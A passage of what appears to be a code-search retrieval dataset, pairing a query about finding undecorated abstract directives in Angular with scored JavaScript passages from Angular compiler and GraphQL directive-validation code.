_oldPos = self.extractCommon(basePath, newString, oldString, diagonalPath);\n\n // If we have hit the end of both strings, then we are done\n if (basePath.newPos + 1 >= newLen && _oldPos + 1 >= oldLen) {\n return done(buildValues(self, basePath.components, newString, oldString, self.useLongestToken));\n } else {\n // Otherwise track this path as a potential candidate and continue.\n bestPath[diagonalPath] = basePath;\n }\n }\n\n editLength++;\n }", "title": "" } ]
47156cf79cb9e6e9c4e7985cadf6ac74
Finds undecorated abstract directives in the specified source files. Also returns a set of undecorated classes which could not be detected as guaranteed abstract directives. Those are ambiguous and could be either Directive, Pipe or service.
[ { "docid": "21e2cdc8f0667b2e88e9d9f9f55dbb61", "score": "0.8424272", "text": "_findUndecoratedAbstractDirectives(sourceFiles) {\n const ambiguousClasses = new Set();\n const declarations = new WeakMap();\n const detectedAbstractDirectives = new Set();\n const undecoratedClasses = new Set();\n const visitNode = (node) => {\n node.forEachChild(visitNode);\n if (!ts.isClassDeclaration(node)) {\n return;\n }\n const { inferredKind, decoratedType } = this._analyzeClassDeclaration(node);\n if (decoratedType !== null) {\n declarations.set(node, decoratedType);\n return;\n }\n if (inferredKind === InferredKind.DIRECTIVE) {\n detectedAbstractDirectives.add(node);\n }\n else if (inferredKind === InferredKind.AMBIGUOUS) {\n ambiguousClasses.add(node);\n }\n else {\n undecoratedClasses.add(node);\n }\n };\n sourceFiles.forEach(sourceFile => sourceFile.forEachChild(visitNode));\n /**\n * Checks the inheritance of the given set of classes. It removes classes from the\n * detected abstract directives set when they inherit from a non-abstract Angular\n * declaration. e.g. an abstract directive can never extend from a component.\n *\n * If a class inherits from an abstract directive though, we will migrate them too\n * as derived classes also need to be decorated. This has been done for a simpler mental\n * model and reduced complexity in the Angular compiler. See migration plan document.\n */\n const checkInheritanceOfClasses = (classes) => {\n classes.forEach(node => {\n for (const { node: baseClass } of find_base_classes_1.findBaseClassDeclarations(node, this.typeChecker)) {\n if (!declarations.has(baseClass)) {\n continue;\n }\n // If the undecorated class inherits from an abstract directive, always migrate it.\n // Derived undecorated classes of abstract directives are always also considered\n // abstract directives and need to be decorated too. This is necessary as otherwise\n // the inheritance chain cannot be resolved by the Angular compiler. e.g. when it\n // flattens directive metadata for type checking. In the other case, we never want\n // to migrate a class if it extends from a non-abstract Angular declaration. That\n // is an unsupported pattern as of v9 and was previously handled with the\n // `undecorated-classes-with-di` migration (which copied the inherited decorator).\n if (declarations.get(baseClass) === DeclarationType.ABSTRACT_DIRECTIVE) {\n detectedAbstractDirectives.add(node);\n }\n else {\n detectedAbstractDirectives.delete(node);\n }\n ambiguousClasses.delete(node);\n break;\n }\n });\n };\n // Check inheritance of any detected abstract directive. We want to remove\n // classes that are not eligible abstract directives due to inheritance. i.e.\n // if a class extends from a component, it cannot be a derived abstract directive.\n checkInheritanceOfClasses(detectedAbstractDirectives);\n // Update the class declarations to reflect the detected abstract directives. This is\n // then used later when we check for undecorated classes that inherit from an abstract\n // directive and need to be decorated.\n detectedAbstractDirectives.forEach(n => declarations.set(n, DeclarationType.ABSTRACT_DIRECTIVE));\n // Check ambiguous and undecorated classes if they inherit from an abstract directive.\n // If they do, we want to migrate them too. See function definition for more details.\n checkInheritanceOfClasses(ambiguousClasses);\n checkInheritanceOfClasses(undecoratedClasses);\n return { detectedAbstractDirectives, ambiguousClasses };\n }", "title": "" } ]
[ { "docid": "dbba06161c85a40f229d6407a5254f05", "score": "0.8465112", "text": "_findUndecoratedAbstractDirectives(sourceFiles) {\n const result = new Set();\n const undecoratedClasses = new Set();\n const nonAbstractDirectives = new WeakSet();\n const abstractDirectives = new WeakSet();\n const visitNode = (node) => {\n node.forEachChild(visitNode);\n if (!ts.isClassDeclaration(node)) {\n return;\n }\n const { isDirectiveOrComponent, isAbstractDirective, usesAngularFeatures } = this._analyzeClassDeclaration(node);\n if (isDirectiveOrComponent) {\n if (isAbstractDirective) {\n abstractDirectives.add(node);\n }\n else {\n nonAbstractDirectives.add(node);\n }\n }\n else if (usesAngularFeatures) {\n abstractDirectives.add(node);\n result.add(node);\n }\n else {\n undecoratedClasses.add(node);\n }\n };\n sourceFiles.forEach(sourceFile => sourceFile.forEachChild(visitNode));\n // We collected all undecorated class declarations which inherit from abstract directives.\n // For such abstract directives, the derived classes also need to be migrated.\n undecoratedClasses.forEach(node => {\n for (const { node: baseClass } of find_base_classes_1.findBaseClassDeclarations(node, this.typeChecker)) {\n // If the undecorated class inherits from a non-abstract directive, skip the current\n // class. We do this because undecorated classes which inherit metadata from non-abstract\n // directives are handle in the `undecorated-classes-with-di` migration that copies\n // inherited metadata into an explicit decorator.\n if (nonAbstractDirectives.has(baseClass)) {\n break;\n }\n else if (abstractDirectives.has(baseClass)) {\n result.add(node);\n break;\n }\n }\n });\n return result;\n }", "title": "" }, { "docid": "540fd1df7ac98558a9505f909b18bc70", "score": "0.56385773", "text": "function getAllDirectives() {\n\n }", "title": "" }, { "docid": "d1ad11e3f6bf03ea0ccbfe0843567747", "score": "0.50296503", "text": "function getMergedDirectives() {\n var existingDirectives = schema.getDirectives().map(extendDirective);\n !existingDirectives ? Object(_jsutils_invariant__WEBPACK_IMPORTED_MODULE_1__[\"default\"])(0, 'schema must have default directives') : void 0;\n return existingDirectives.concat(directiveDefinitions.map(function (node) {\n return astBuilder.buildDirective(node);\n }));\n }", "title": "" }, { "docid": "8d64fd57c5a4c701f21b9e6b54bf3df3", "score": "0.49677536", "text": "function UniqueDirectivesPerLocationRule(context) {\n var uniqueDirectiveMap = Object.create(null);\n var schema = context.getSchema();\n var definedDirectives = schema ? schema.getDirectives() : _type_directives_mjs__WEBPACK_IMPORTED_MODULE_3__[\"specifiedDirectives\"];\n\n for (var _i2 = 0; _i2 < definedDirectives.length; _i2++) {\n var directive = definedDirectives[_i2];\n uniqueDirectiveMap[directive.name] = !directive.isRepeatable;\n }\n\n var astDefinitions = context.getDocument().definitions;\n\n for (var _i4 = 0; _i4 < astDefinitions.length; _i4++) {\n var def = astDefinitions[_i4];\n\n if (def.kind === _language_kinds_mjs__WEBPACK_IMPORTED_MODULE_1__[\"Kind\"].DIRECTIVE_DEFINITION) {\n uniqueDirectiveMap[def.name.value] = !def.repeatable;\n }\n }\n\n var schemaDirectives = Object.create(null);\n var typeDirectivesMap = Object.create(null);\n return {\n // Many different AST nodes may contain directives. Rather than listing\n // them all, just listen for entering any node, and check to see if it\n // defines any directives.\n enter: function enter(node) {\n if (node.directives == null) {\n return;\n }\n\n var seenDirectives;\n\n if (node.kind === _language_kinds_mjs__WEBPACK_IMPORTED_MODULE_1__[\"Kind\"].SCHEMA_DEFINITION || node.kind === _language_kinds_mjs__WEBPACK_IMPORTED_MODULE_1__[\"Kind\"].SCHEMA_EXTENSION) {\n seenDirectives = schemaDirectives;\n } else if (Object(_language_predicates_mjs__WEBPACK_IMPORTED_MODULE_2__[\"isTypeDefinitionNode\"])(node) || Object(_language_predicates_mjs__WEBPACK_IMPORTED_MODULE_2__[\"isTypeExtensionNode\"])(node)) {\n var typeName = node.name.value;\n seenDirectives = typeDirectivesMap[typeName];\n\n if (seenDirectives === undefined) {\n typeDirectivesMap[typeName] = seenDirectives = Object.create(null);\n }\n } else {\n seenDirectives = Object.create(null);\n }\n\n for (var _i6 = 0, _node$directives2 = node.directives; _i6 < _node$directives2.length; _i6++) {\n var _directive = _node$directives2[_i6];\n var directiveName = _directive.name.value;\n\n if (uniqueDirectiveMap[directiveName]) {\n if (seenDirectives[directiveName]) {\n context.reportError(new _error_GraphQLError_mjs__WEBPACK_IMPORTED_MODULE_0__[\"GraphQLError\"](\"The directive \\\"@\".concat(directiveName, \"\\\" can only be used once at this location.\"), [seenDirectives[directiveName], _directive]));\n } else {\n seenDirectives[directiveName] = _directive;\n }\n }\n }\n }\n };\n}", "title": "" }, { "docid": "e5cb2201f460b6177ba766c86d40c1ff", "score": "0.49671108", "text": "function getMergedDirectives(): Array<GraphQLDirective> {\n const existingDirectives = schema.getDirectives();\n invariant(existingDirectives, 'schema must have default directives');\n\n return existingDirectives.concat(\n directiveDefinitions.map(node => astBuilder.buildDirective(node)),\n );\n }", "title": "" }, { "docid": "1fabc7f64a349f1d2ae7a200f1a4d853", "score": "0.4949672", "text": "function UniqueDirectivesPerLocationRule(context) {\n const uniqueDirectiveMap = Object.create(null);\n const schema = context.getSchema();\n const definedDirectives = schema\n ? schema.getDirectives()\n : _type_directives_mjs__WEBPACK_IMPORTED_MODULE_3__[\"specifiedDirectives\"];\n\n for (const directive of definedDirectives) {\n uniqueDirectiveMap[directive.name] = !directive.isRepeatable;\n }\n\n const astDefinitions = context.getDocument().definitions;\n\n for (const def of astDefinitions) {\n if (def.kind === _language_kinds_mjs__WEBPACK_IMPORTED_MODULE_1__[\"Kind\"].DIRECTIVE_DEFINITION) {\n uniqueDirectiveMap[def.name.value] = !def.repeatable;\n }\n }\n\n const schemaDirectives = Object.create(null);\n const typeDirectivesMap = Object.create(null);\n return {\n // Many different AST nodes may contain directives. Rather than listing\n // them all, just listen for entering any node, and check to see if it\n // defines any directives.\n enter(node) {\n if (!('directives' in node) || !node.directives) {\n return;\n }\n\n let seenDirectives;\n\n if (\n node.kind === _language_kinds_mjs__WEBPACK_IMPORTED_MODULE_1__[\"Kind\"].SCHEMA_DEFINITION ||\n node.kind === _language_kinds_mjs__WEBPACK_IMPORTED_MODULE_1__[\"Kind\"].SCHEMA_EXTENSION\n ) {\n seenDirectives = schemaDirectives;\n } else if (Object(_language_predicates_mjs__WEBPACK_IMPORTED_MODULE_2__[\"isTypeDefinitionNode\"])(node) || Object(_language_predicates_mjs__WEBPACK_IMPORTED_MODULE_2__[\"isTypeExtensionNode\"])(node)) {\n const typeName = node.name.value;\n seenDirectives = typeDirectivesMap[typeName];\n\n if (seenDirectives === undefined) {\n typeDirectivesMap[typeName] = seenDirectives = Object.create(null);\n }\n } else {\n seenDirectives = Object.create(null);\n }\n\n for (const directive of node.directives) {\n const directiveName = directive.name.value;\n\n if (uniqueDirectiveMap[directiveName]) {\n if (seenDirectives[directiveName]) {\n context.reportError(\n new _error_GraphQLError_mjs__WEBPACK_IMPORTED_MODULE_0__[\"GraphQLError\"](\n `The directive \"@${directiveName}\" can only be used once at this location.`,\n [seenDirectives[directiveName], directive],\n ),\n );\n } else {\n seenDirectives[directiveName] = directive;\n }\n }\n }\n },\n };\n}", "title": "" }, { "docid": "86bd9449a021cbbed5aa6e37482c29d0", "score": "0.49463558", "text": "function getMergedDirectives() {\n var existingDirectives = schema.getDirectives();\n !existingDirectives ? (0, _invariant2.default)(0, 'schema must have default directives') : void 0;\n\n return existingDirectives.concat(directiveDefinitions.map(function (node) {\n return astBuilder.buildDirective(node);\n }));\n }", "title": "" }, { "docid": "8d5344011f91e19253fe5f7c0cd5b3b0", "score": "0.49424174", "text": "function getMergedDirectives() {\n var existingDirectives = schema.getDirectives().map(extendDirective);\n !existingDirectives ? (0, _invariant.default)(0, 'schema must have default directives') : void 0;\n return existingDirectives.concat(directiveDefinitions.map(function (node) {\n return astBuilder.buildDirective(node);\n }));\n }", "title": "" }, { "docid": "8d5344011f91e19253fe5f7c0cd5b3b0", "score": "0.49424174", "text": "function getMergedDirectives() {\n var existingDirectives = schema.getDirectives().map(extendDirective);\n !existingDirectives ? (0, _invariant.default)(0, 'schema must have default directives') : void 0;\n return existingDirectives.concat(directiveDefinitions.map(function (node) {\n return astBuilder.buildDirective(node);\n }));\n }", "title": "" }, { "docid": "8a65cbce6407848aaf9a3199e61783ed", "score": "0.49220952", "text": "function UniqueDirectivesPerLocation(context) {\n var uniqueDirectiveMap = Object.create(null);\n var schema = context.getSchema();\n var definedDirectives = schema ? schema.getDirectives() : _type_directives__WEBPACK_IMPORTED_MODULE_2__[/* specifiedDirectives */ \"i\"];\n\n for (var _i2 = 0; _i2 < definedDirectives.length; _i2++) {\n var directive = definedDirectives[_i2];\n uniqueDirectiveMap[directive.name] = !directive.isRepeatable;\n }\n\n var astDefinitions = context.getDocument().definitions;\n\n for (var _i4 = 0; _i4 < astDefinitions.length; _i4++) {\n var def = astDefinitions[_i4];\n\n if (def.kind === _language_kinds__WEBPACK_IMPORTED_MODULE_1__[/* Kind */ \"a\"].DIRECTIVE_DEFINITION) {\n uniqueDirectiveMap[def.name.value] = !def.repeatable;\n }\n }\n\n return {\n // Many different AST nodes may contain directives. Rather than listing\n // them all, just listen for entering any node, and check to see if it\n // defines any directives.\n enter: function enter(node) {\n // Flow can't refine that node.directives will only contain directives,\n // so we cast so the rest of the code is well typed.\n var directives = node.directives;\n\n if (directives) {\n var knownDirectives = Object.create(null);\n\n for (var _i6 = 0; _i6 < directives.length; _i6++) {\n var _directive = directives[_i6];\n var directiveName = _directive.name.value;\n\n if (uniqueDirectiveMap[directiveName]) {\n if (knownDirectives[directiveName]) {\n context.reportError(new _error_GraphQLError__WEBPACK_IMPORTED_MODULE_0__[/* GraphQLError */ \"a\"](duplicateDirectiveMessage(directiveName), [knownDirectives[directiveName], _directive]));\n } else {\n knownDirectives[directiveName] = _directive;\n }\n }\n }\n }\n }\n };\n}", "title": "" }, { "docid": "bf016d775a78fb146635954eb812089a", "score": "0.49099332", "text": "parseDirectives(isConst) {\n const directives = [];\n\n while (this.peek(_tokenKind_mjs__WEBPACK_IMPORTED_MODULE_6__[\"TokenKind\"].AT)) {\n directives.push(this.parseDirective(isConst));\n }\n\n return directives;\n }", "title": "" }, { "docid": "dcefae3b69bb1dd0bf9f5f837a60aea7", "score": "0.4885902", "text": "_isAbstractDirective({ node }) {\n const metadataArgs = node.expression.arguments;\n if (metadataArgs.length === 0) {\n return true;\n }\n const metadataExpr = functions_1.unwrapExpression(metadataArgs[0]);\n if (!ts.isObjectLiteralExpression(metadataExpr)) {\n return false;\n }\n const metadata = reflection_1.reflectObjectLiteral(metadataExpr);\n if (!metadata.has('selector')) {\n return false;\n }\n const selector = this.partialEvaluator.evaluate(metadata.get('selector'));\n return selector == null;\n }", "title": "" }, { "docid": "dcefae3b69bb1dd0bf9f5f837a60aea7", "score": "0.4885902", "text": "_isAbstractDirective({ node }) {\n const metadataArgs = node.expression.arguments;\n if (metadataArgs.length === 0) {\n return true;\n }\n const metadataExpr = functions_1.unwrapExpression(metadataArgs[0]);\n if (!ts.isObjectLiteralExpression(metadataExpr)) {\n return false;\n }\n const metadata = reflection_1.reflectObjectLiteral(metadataExpr);\n if (!metadata.has('selector')) {\n return false;\n }\n const selector = this.partialEvaluator.evaluate(metadata.get('selector'));\n return selector == null;\n }", "title": "" }, { "docid": "c22a1886668159229453fe7ac5a8bf63", "score": "0.4870562", "text": "function directives() {\n var current = state.tokens.next;\n while (state.tokens.next.id === \"(string)\") {\n var next = peekIgnoreEOL();\n if (!isEndOfExpr(0, current, next)) {\n break;\n }\n current = next;\n\n advance();\n var directive = state.tokens.curr.value;\n if (state.directive[directive] ||\n (directive === \"use strict\" && state.option.strict === \"implied\")) {\n warning(\"W034\", state.tokens.curr, directive);\n }\n\n // From ECMAScript 2016:\n //\n // > 14.1.2 Static Semantics: Early Errors\n // >\n // > [...]\n // > - It is a Syntax Error if ContainsUseStrict of FunctionBody is true\n // > and IsSimpleParameterList of FormalParameters is false.\n if (directive === \"use strict\" && state.inES7() &&\n !state.funct[\"(global)\"] && state.funct[\"(hasSimpleParams)\"] === false) {\n error(\"E065\", state.tokens.curr);\n }\n\n // there's no directive negation, so always set to true\n state.directive[directive] = true;\n\n parseFinalSemicolon(current);\n }\n\n if (state.isStrict()) {\n state.option.undef = true;\n }\n }", "title": "" }, { "docid": "a296fc3b0125bdcea87143b4a971468d", "score": "0.48673758", "text": "function compileUsedDirectiveMetadata(meta) {\n const wrapType = meta.declarationListEmitMode !== 0 /* Direct */ ?\n generateForwardRef :\n (expr) => expr;\n return toOptionalLiteralArray(meta.directives, directive => {\n const dirMeta = new DefinitionMap();\n dirMeta.set('type', wrapType(directive.type));\n dirMeta.set('selector', literal(directive.selector));\n dirMeta.set('inputs', toOptionalLiteralArray(directive.inputs, literal));\n dirMeta.set('outputs', toOptionalLiteralArray(directive.outputs, literal));\n dirMeta.set('exportAs', toOptionalLiteralArray(directive.exportAs, literal));\n return dirMeta.toLiteralMap();\n });\n}", "title": "" }, { "docid": "cad184dc8815f6852f689336d123bd03", "score": "0.48507354", "text": "function UniqueDirectivesPerLocation(context) {\n var uniqueDirectiveMap = Object.create(null);\n var schema = context.getSchema();\n var definedDirectives = schema ? schema.getDirectives() : _type_directives__WEBPACK_IMPORTED_MODULE_2__[\"specifiedDirectives\"];\n\n for (var _i2 = 0; _i2 < definedDirectives.length; _i2++) {\n var directive = definedDirectives[_i2];\n uniqueDirectiveMap[directive.name] = !directive.isRepeatable;\n }\n\n var astDefinitions = context.getDocument().definitions;\n\n for (var _i4 = 0; _i4 < astDefinitions.length; _i4++) {\n var def = astDefinitions[_i4];\n\n if (def.kind === _language_kinds__WEBPACK_IMPORTED_MODULE_1__[\"Kind\"].DIRECTIVE_DEFINITION) {\n uniqueDirectiveMap[def.name.value] = !def.repeatable;\n }\n }\n\n return {\n // Many different AST nodes may contain directives. Rather than listing\n // them all, just listen for entering any node, and check to see if it\n // defines any directives.\n enter: function enter(node) {\n // Flow can't refine that node.directives will only contain directives,\n // so we cast so the rest of the code is well typed.\n var directives = node.directives;\n\n if (directives) {\n var knownDirectives = Object.create(null);\n\n for (var _i6 = 0; _i6 < directives.length; _i6++) {\n var _directive = directives[_i6];\n var directiveName = _directive.name.value;\n\n if (uniqueDirectiveMap[directiveName]) {\n if (knownDirectives[directiveName]) {\n context.reportError(new _error_GraphQLError__WEBPACK_IMPORTED_MODULE_0__[\"GraphQLError\"](duplicateDirectiveMessage(directiveName), [knownDirectives[directiveName], _directive]));\n } else {\n knownDirectives[directiveName] = _directive;\n }\n }\n }\n }\n }\n };\n}", "title": "" }, { "docid": "a9fe61a5ab59f5eae8a5020ecdd6d4dd", "score": "0.4842074", "text": "function UniqueDirectivesPerLocationRule(context) {\n var uniqueDirectiveMap = Object.create(null);\n var schema = context.getSchema();\n var definedDirectives = schema ? schema.getDirectives() : _directives.specifiedDirectives;\n\n for (var _i2 = 0; _i2 < definedDirectives.length; _i2++) {\n var directive = definedDirectives[_i2];\n uniqueDirectiveMap[directive.name] = !directive.isRepeatable;\n }\n\n var astDefinitions = context.getDocument().definitions;\n\n for (var _i4 = 0; _i4 < astDefinitions.length; _i4++) {\n var def = astDefinitions[_i4];\n\n if (def.kind === _kinds.Kind.DIRECTIVE_DEFINITION) {\n uniqueDirectiveMap[def.name.value] = !def.repeatable;\n }\n }\n\n var schemaDirectives = Object.create(null);\n var typeDirectivesMap = Object.create(null);\n return {\n // Many different AST nodes may contain directives. Rather than listing\n // them all, just listen for entering any node, and check to see if it\n // defines any directives.\n enter: function enter(node) {\n if (node.directives == null) {\n return;\n }\n\n var seenDirectives;\n\n if (node.kind === _kinds.Kind.SCHEMA_DEFINITION || node.kind === _kinds.Kind.SCHEMA_EXTENSION) {\n seenDirectives = schemaDirectives;\n } else if ((0, _predicates.isTypeDefinitionNode)(node) || (0, _predicates.isTypeExtensionNode)(node)) {\n var typeName = node.name.value;\n seenDirectives = typeDirectivesMap[typeName];\n\n if (seenDirectives === undefined) {\n typeDirectivesMap[typeName] = seenDirectives = Object.create(null);\n }\n } else {\n seenDirectives = Object.create(null);\n }\n\n for (var _i6 = 0, _node$directives2 = node.directives; _i6 < _node$directives2.length; _i6++) {\n var _directive = _node$directives2[_i6];\n var directiveName = _directive.name.value;\n\n if (uniqueDirectiveMap[directiveName]) {\n if (seenDirectives[directiveName]) {\n context.reportError(new _GraphQLError.GraphQLError(\"The directive \\\"@\".concat(directiveName, \"\\\" can only be used once at this location.\"), [seenDirectives[directiveName], _directive]));\n } else {\n seenDirectives[directiveName] = _directive;\n }\n }\n }\n }\n };\n}", "title": "" }, { "docid": "f2110b13757d79cfcecec8b178baae9e", "score": "0.48418382", "text": "function addDirectiveDefToUndecoratedParents(type) {\n var objPrototype = Object.prototype;\n var parent = Object.getPrototypeOf(type.prototype).constructor;\n // Go up the prototype until we hit `Object`.\n while (parent && parent !== objPrototype) {\n // Since inheritance works if the class was annotated already, we only need to add\n // the def if there are no annotations and the def hasn't been created already.\n if (!getDirectiveDef(parent) && !getComponentDef(parent) &&\n shouldAddAbstractDirective(parent)) {\n compileDirective(parent, null);\n }\n parent = Object.getPrototypeOf(parent);\n }\n}", "title": "" }, { "docid": "f2110b13757d79cfcecec8b178baae9e", "score": "0.48418382", "text": "function addDirectiveDefToUndecoratedParents(type) {\n var objPrototype = Object.prototype;\n var parent = Object.getPrototypeOf(type.prototype).constructor;\n // Go up the prototype until we hit `Object`.\n while (parent && parent !== objPrototype) {\n // Since inheritance works if the class was annotated already, we only need to add\n // the def if there are no annotations and the def hasn't been created already.\n if (!getDirectiveDef(parent) && !getComponentDef(parent) &&\n shouldAddAbstractDirective(parent)) {\n compileDirective(parent, null);\n }\n parent = Object.getPrototypeOf(parent);\n }\n}", "title": "" }, { "docid": "cfe2eb3dd12da0f75daf6b0763943bb6", "score": "0.47941256", "text": "function addDirectiveDefToUndecoratedParents(type) {\n const objPrototype = Object.prototype;\n let parent = Object.getPrototypeOf(type.prototype).constructor;\n // Go up the prototype until we hit `Object`.\n while (parent && parent !== objPrototype) {\n // Since inheritance works if the class was annotated already, we only need to add\n // the def if there are no annotations and the def hasn't been created already.\n if (!getDirectiveDef(parent) && !getComponentDef(parent) &&\n shouldAddAbstractDirective(parent)) {\n compileDirective(parent, null);\n }\n parent = Object.getPrototypeOf(parent);\n }\n}", "title": "" }, { "docid": "cfe2eb3dd12da0f75daf6b0763943bb6", "score": "0.47941256", "text": "function addDirectiveDefToUndecoratedParents(type) {\n const objPrototype = Object.prototype;\n let parent = Object.getPrototypeOf(type.prototype).constructor;\n // Go up the prototype until we hit `Object`.\n while (parent && parent !== objPrototype) {\n // Since inheritance works if the class was annotated already, we only need to add\n // the def if there are no annotations and the def hasn't been created already.\n if (!getDirectiveDef(parent) && !getComponentDef(parent) &&\n shouldAddAbstractDirective(parent)) {\n compileDirective(parent, null);\n }\n parent = Object.getPrototypeOf(parent);\n }\n}", "title": "" }, { "docid": "cfe2eb3dd12da0f75daf6b0763943bb6", "score": "0.47941256", "text": "function addDirectiveDefToUndecoratedParents(type) {\n const objPrototype = Object.prototype;\n let parent = Object.getPrototypeOf(type.prototype).constructor;\n // Go up the prototype until we hit `Object`.\n while (parent && parent !== objPrototype) {\n // Since inheritance works if the class was annotated already, we only need to add\n // the def if there are no annotations and the def hasn't been created already.\n if (!getDirectiveDef(parent) && !getComponentDef(parent) &&\n shouldAddAbstractDirective(parent)) {\n compileDirective(parent, null);\n }\n parent = Object.getPrototypeOf(parent);\n }\n}", "title": "" }, { "docid": "cfe2eb3dd12da0f75daf6b0763943bb6", "score": "0.47941256", "text": "function addDirectiveDefToUndecoratedParents(type) {\n const objPrototype = Object.prototype;\n let parent = Object.getPrototypeOf(type.prototype).constructor;\n // Go up the prototype until we hit `Object`.\n while (parent && parent !== objPrototype) {\n // Since inheritance works if the class was annotated already, we only need to add\n // the def if there are no annotations and the def hasn't been created already.\n if (!getDirectiveDef(parent) && !getComponentDef(parent) &&\n shouldAddAbstractDirective(parent)) {\n compileDirective(parent, null);\n }\n parent = Object.getPrototypeOf(parent);\n }\n}", "title": "" }, { "docid": "cfe2eb3dd12da0f75daf6b0763943bb6", "score": "0.47941256", "text": "function addDirectiveDefToUndecoratedParents(type) {\n const objPrototype = Object.prototype;\n let parent = Object.getPrototypeOf(type.prototype).constructor;\n // Go up the prototype until we hit `Object`.\n while (parent && parent !== objPrototype) {\n // Since inheritance works if the class was annotated already, we only need to add\n // the def if there are no annotations and the def hasn't been created already.\n if (!getDirectiveDef(parent) && !getComponentDef(parent) &&\n shouldAddAbstractDirective(parent)) {\n compileDirective(parent, null);\n }\n parent = Object.getPrototypeOf(parent);\n }\n}", "title": "" }, { "docid": "be84c66086ddbf578ab0dfcbdb269d7a", "score": "0.47605363", "text": "function findDirectiveMatches(tNode) {\n var registry = tView.directiveRegistry;\n var matches = null;\n if (registry) {\n for (var i = 0; i < registry.length; i++) {\n var def = registry[i];\n if (isNodeMatchingSelectorList(tNode, def.selectors)) {\n if (def.template) {\n if (tNode.flags & 4096 /* isComponent */)\n throwMultipleComponentError(tNode);\n tNode.flags = 4096 /* isComponent */;\n }\n if (def.diPublic)\n def.diPublic(def);\n (matches || (matches = [])).push(def, null);\n }\n }\n }\n return matches;\n}", "title": "" }, { "docid": "be84c66086ddbf578ab0dfcbdb269d7a", "score": "0.47605363", "text": "function findDirectiveMatches(tNode) {\n var registry = tView.directiveRegistry;\n var matches = null;\n if (registry) {\n for (var i = 0; i < registry.length; i++) {\n var def = registry[i];\n if (isNodeMatchingSelectorList(tNode, def.selectors)) {\n if (def.template) {\n if (tNode.flags & 4096 /* isComponent */)\n throwMultipleComponentError(tNode);\n tNode.flags = 4096 /* isComponent */;\n }\n if (def.diPublic)\n def.diPublic(def);\n (matches || (matches = [])).push(def, null);\n }\n }\n }\n return matches;\n}", "title": "" }, { "docid": "9a6aa74cfbb80d9b6108a865d48ba237", "score": "0.47545505", "text": "function getMergedDirectives() {\n var existingDirectives = schema.getDirectives();\n !existingDirectives ? Object(__WEBPACK_IMPORTED_MODULE_0__jsutils_invariant__[\"a\" /* default */])(0, 'schema must have default directives') : void 0;\n\n var newDirectives = directiveDefinitions.map(function (directiveNode) {\n return definitionBuilder.buildDirective(directiveNode);\n });\n return existingDirectives.concat(newDirectives);\n }", "title": "" }, { "docid": "9a6aa74cfbb80d9b6108a865d48ba237", "score": "0.47545505", "text": "function getMergedDirectives() {\n var existingDirectives = schema.getDirectives();\n !existingDirectives ? Object(__WEBPACK_IMPORTED_MODULE_0__jsutils_invariant__[\"a\" /* default */])(0, 'schema must have default directives') : void 0;\n\n var newDirectives = directiveDefinitions.map(function (directiveNode) {\n return definitionBuilder.buildDirective(directiveNode);\n });\n return existingDirectives.concat(newDirectives);\n }", "title": "" }, { "docid": "7a395861aba3ece72dcd21c8ddedbc73", "score": "0.47104955", "text": "function findDirectiveMatches(tNode) {\n var registry = tView.directiveRegistry;\n var matches = null;\n if (registry) {\n for (var i = 0; i < registry.length; i++) {\n var def = registry[i];\n if (isNodeMatchingSelectorList(tNode, def.selectors)) {\n matches || (matches = []);\n if (def.diPublic)\n def.diPublic(def);\n if (def.template) {\n if (tNode.flags & 4096 /* isComponent */)\n throwMultipleComponentError(tNode);\n addComponentLogic(def);\n // The component is always stored first with directives after.\n matches.unshift(def, null);\n }\n else {\n matches.push(def, null);\n }\n }\n }\n }\n return matches;\n}", "title": "" }, { "docid": "5468f5cd7ec44a21057f144791affa81", "score": "0.4709861", "text": "function UniqueDirectivesPerLocation(context) {\n var uniqueDirectiveMap = Object.create(null);\n var schema = context.getSchema();\n var definedDirectives = schema ? schema.getDirectives() : _directives.specifiedDirectives;\n\n for (var _i2 = 0; _i2 < definedDirectives.length; _i2++) {\n var directive = definedDirectives[_i2];\n uniqueDirectiveMap[directive.name] = !directive.isRepeatable;\n }\n\n var astDefinitions = context.getDocument().definitions;\n\n for (var _i4 = 0; _i4 < astDefinitions.length; _i4++) {\n var def = astDefinitions[_i4];\n\n if (def.kind === _kinds.Kind.DIRECTIVE_DEFINITION) {\n uniqueDirectiveMap[def.name.value] = !def.repeatable;\n }\n }\n\n return {\n // Many different AST nodes may contain directives. Rather than listing\n // them all, just listen for entering any node, and check to see if it\n // defines any directives.\n enter: function enter(node) {\n // Flow can't refine that node.directives will only contain directives,\n // so we cast so the rest of the code is well typed.\n var directives = node.directives;\n\n if (directives) {\n var knownDirectives = Object.create(null);\n\n for (var _i6 = 0; _i6 < directives.length; _i6++) {\n var _directive = directives[_i6];\n var directiveName = _directive.name.value;\n\n if (uniqueDirectiveMap[directiveName]) {\n if (knownDirectives[directiveName]) {\n context.reportError(new _GraphQLError.GraphQLError(duplicateDirectiveMessage(directiveName), [knownDirectives[directiveName], _directive]));\n } else {\n knownDirectives[directiveName] = _directive;\n }\n }\n }\n }\n }\n };\n}", "title": "" }, { "docid": "5468f5cd7ec44a21057f144791affa81", "score": "0.4709861", "text": "function UniqueDirectivesPerLocation(context) {\n var uniqueDirectiveMap = Object.create(null);\n var schema = context.getSchema();\n var definedDirectives = schema ? schema.getDirectives() : _directives.specifiedDirectives;\n\n for (var _i2 = 0; _i2 < definedDirectives.length; _i2++) {\n var directive = definedDirectives[_i2];\n uniqueDirectiveMap[directive.name] = !directive.isRepeatable;\n }\n\n var astDefinitions = context.getDocument().definitions;\n\n for (var _i4 = 0; _i4 < astDefinitions.length; _i4++) {\n var def = astDefinitions[_i4];\n\n if (def.kind === _kinds.Kind.DIRECTIVE_DEFINITION) {\n uniqueDirectiveMap[def.name.value] = !def.repeatable;\n }\n }\n\n return {\n // Many different AST nodes may contain directives. Rather than listing\n // them all, just listen for entering any node, and check to see if it\n // defines any directives.\n enter: function enter(node) {\n // Flow can't refine that node.directives will only contain directives,\n // so we cast so the rest of the code is well typed.\n var directives = node.directives;\n\n if (directives) {\n var knownDirectives = Object.create(null);\n\n for (var _i6 = 0; _i6 < directives.length; _i6++) {\n var _directive = directives[_i6];\n var directiveName = _directive.name.value;\n\n if (uniqueDirectiveMap[directiveName]) {\n if (knownDirectives[directiveName]) {\n context.reportError(new _GraphQLError.GraphQLError(duplicateDirectiveMessage(directiveName), [knownDirectives[directiveName], _directive]));\n } else {\n knownDirectives[directiveName] = _directive;\n }\n }\n }\n }\n }\n };\n}", "title": "" }, { "docid": "b475f45d23674ea2d9139100df53307d", "score": "0.47090936", "text": "function getDirectives(target) {\n var context = loadLContext(target);\n if (context.directives === undefined) {\n context.directives = getDirectivesAtNodeIndex(context.nodeIndex, 